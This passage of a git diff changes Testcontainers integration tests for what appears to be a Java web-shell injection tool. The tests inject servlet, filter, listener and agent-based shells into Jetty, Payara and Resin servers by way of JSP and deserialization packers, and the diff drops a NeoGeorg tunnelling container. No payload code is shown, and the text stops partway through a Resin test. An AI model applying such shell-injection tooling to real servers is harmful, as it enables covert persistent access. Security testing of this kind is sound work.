-import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
-import static org.hamcrest.MatcherAssert.assertThat;
-
-/**
- * @author ReaJason
- * @since 2024/12/7
- */
-@Slf4j
-@Testcontainers
-public class Jetty75ContainerTest {
-    public static final String imageName = "reajason/jetty:7.5.4-jdk6";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
-    @Container
-    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
-            .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war")
-            .withCopyToContainer(jattachFile, "/jattach")
-            .withCopyToContainer(jettyPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
-            .waitingFor(Wait.forHttp("/app"))
-            .withExposedPorts(8080);
-
-    static Stream<Arguments> casesProvider() {
-        Server server = Server.Jetty;
-        List<String> supportedShellTypes = List.of(
-                ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
-                ShellType.JETTY_AGENT_HANDLER,
-                ShellType.JETTY_AGENT_HANDLER_ASM
-        );
-        List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
-        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
-    }
-
-    @AfterAll
-    static void tearDown() {
-        String logs = container.getLogs();
-        assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
-    }
-
-    @ParameterizedTest(name = "{0}|{1}{2}|{3}")
-    @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
-    }
-}

integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,28 +32,17 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Jetty76ContainerTest {
     public static final String imageName = "reajason/jetty:7.6-jdk6";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jettyPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.Jetty;
-        List<String> supportedShellTypes = List.of(
+        List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER);
-                ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
-                ShellType.JETTY_AGENT_HANDLER,
-                ShellType.JETTY_AGENT_HANDLER_ASM
-        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
     }
@@ -69,6 +56,6 @@ public class Jetty76ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,28 +32,17 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Jetty81ContainerTest {
     public static final String imageName = "reajason/jetty:8.1-jdk7";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jettyPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.Jetty;
-        List<String> supportedShellTypes = List.of(
+        List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER);
-                ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
-                ShellType.JETTY_AGENT_HANDLER,
-                ShellType.JETTY_AGENT_HANDLER_ASM
-        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
     }
@@ -69,6 +56,6 @@ public class Jetty81ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -35,28 +33,17 @@ import static org.hamcrest.MatcherAssert.assertThat;
 public class Jetty92ContainerTest {
 
     public static final String imageName = "jetty:9.2-jre7";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jettyPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.Jetty;
-        List<String> supportedShellTypes = List.of(
+        List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER);
-                ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
-                ShellType.JETTY_AGENT_HANDLER,
-                ShellType.JETTY_AGENT_HANDLER_ASM
-        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
     }
@@ -64,13 +51,12 @@ public class Jetty92ContainerTest {
     @AfterAll
     static void tearDown() {
         String logs = container.getLogs();
-        log.info(logs);
         assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
     }
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,28 +32,17 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Jetty93ContainerTest {
     public static final String imageName = "reajason/jetty:9.3";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jettyPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.Jetty;
-        List<String> supportedShellTypes = List.of(
+        List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER);
-                ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
-                ShellType.JETTY_AGENT_HANDLER,
-                ShellType.JETTY_AGENT_HANDLER_ASM
-        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
     }
@@ -69,6 +56,6 @@ public class Jetty93ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,28 +32,17 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Jetty94ContainerTest {
     public static final String imageName = "jetty:9.4-jre8";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jettyPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.Jetty;
-        List<String> supportedShellTypes = List.of(
+        List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER);
-                ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
-                ShellType.JETTY_AGENT_HANDLER,
-                ShellType.JETTY_AGENT_HANDLER_ASM
-        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
     }
@@ -70,6 +57,6 @@ public class Jetty94ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,28 +32,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Payara5201ContainerTest {
     public static final String imageName = "reajason/payara:5.201";
-    static Network network = Network.newNetwork();
+
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(glassfishPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
             .withExposedPorts(8080);
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.Payara;
-        List<String> supportedShellTypes = List.of(
+        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
-                ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
-                ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE,
-                ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
-        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
     }
@@ -69,6 +57,6 @@ public class Payara5201ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,28 +32,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Payara520225ContainerTest {
     public static final String imageName = "reajason/payara:5.2022.5";
-    static Network network = Network.newNetwork();
+
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(glassfishPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
             .withExposedPorts(8080);
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.Payara;
-        List<String> supportedShellTypes = List.of(
+        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
-                ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
-                ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE,
-                ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
-        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
     }
@@ -69,6 +57,6 @@ public class Payara520225ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,28 +32,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Payara620222ContainerTest {
     public static final String imageName = "reajason/payara:6.2022.2-jdk11";
-    static Network network = Network.newNetwork();
+
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warJakartaFile, "/usr/local/payara6/glassfish/domains/domain1/autodeploy/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(glassfishPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
             .withExposedPorts(8080);
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.Payara;
-        List<String> supportedShellTypes = List.of(
+        List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
-                ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
-                ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE,
-                ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
-        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
     }
@@ -69,6 +57,6 @@ public class Payara620222ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java

@@ -13,9 +13,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -35,28 +33,17 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Resin3116ContainerTest {
     public static final String imageName = "reajason/resin:3.1.16";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/resin3/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(resinPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.Resin;
-        List<String> supportedShellTypes = List.of(
+        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN);
-                ShellType.FILTER, ShellType.LISTENER,
-                ShellType.AGENT_FILTER_CHAIN,
-                ShellType.AGENT_FILTER_CHAIN_ASM
-        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
     }
@@ -73,6 +60,6 @@ public class Resin3116ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,28 +32,17 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Resin318ContainerTest {
     public static final String imageName = "reajason/resin:3.1.8-jdk7";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/resin3/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(resinPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.Resin;
-        List<String> supportedShellTypes = List.of(
+        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN);
-                ShellType.FILTER, ShellType.LISTENER,
-                ShellType.AGENT_FILTER_CHAIN,
-                ShellType.AGENT_FILTER_CHAIN_ASM
-        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
     }
@@ -69,6 +56,6 @@ public class Resin318ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,28 +32,17 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Resin4058ContainerTest {
     public static final String imageName = "reajason/resin:4.0.58";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/resin4/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(resinPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.Resin;
-        List<String> supportedShellTypes = List.of(
+        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN);
-                ShellType.FILTER, ShellType.LISTENER,
-                ShellType.AGENT_FILTER_CHAIN,
-                ShellType.AGENT_FILTER_CHAIN_ASM
-        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
     }
@@ -69,6 +56,6 @@ public class Resin4058ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,28 +32,17 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Resin4067ContainerTest {
     public static final String imageName = "reajason/resin:4.0.67-jdk11";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/resin4/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(resinPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.Resin;
-        List<String> supportedShellTypes = List.of(
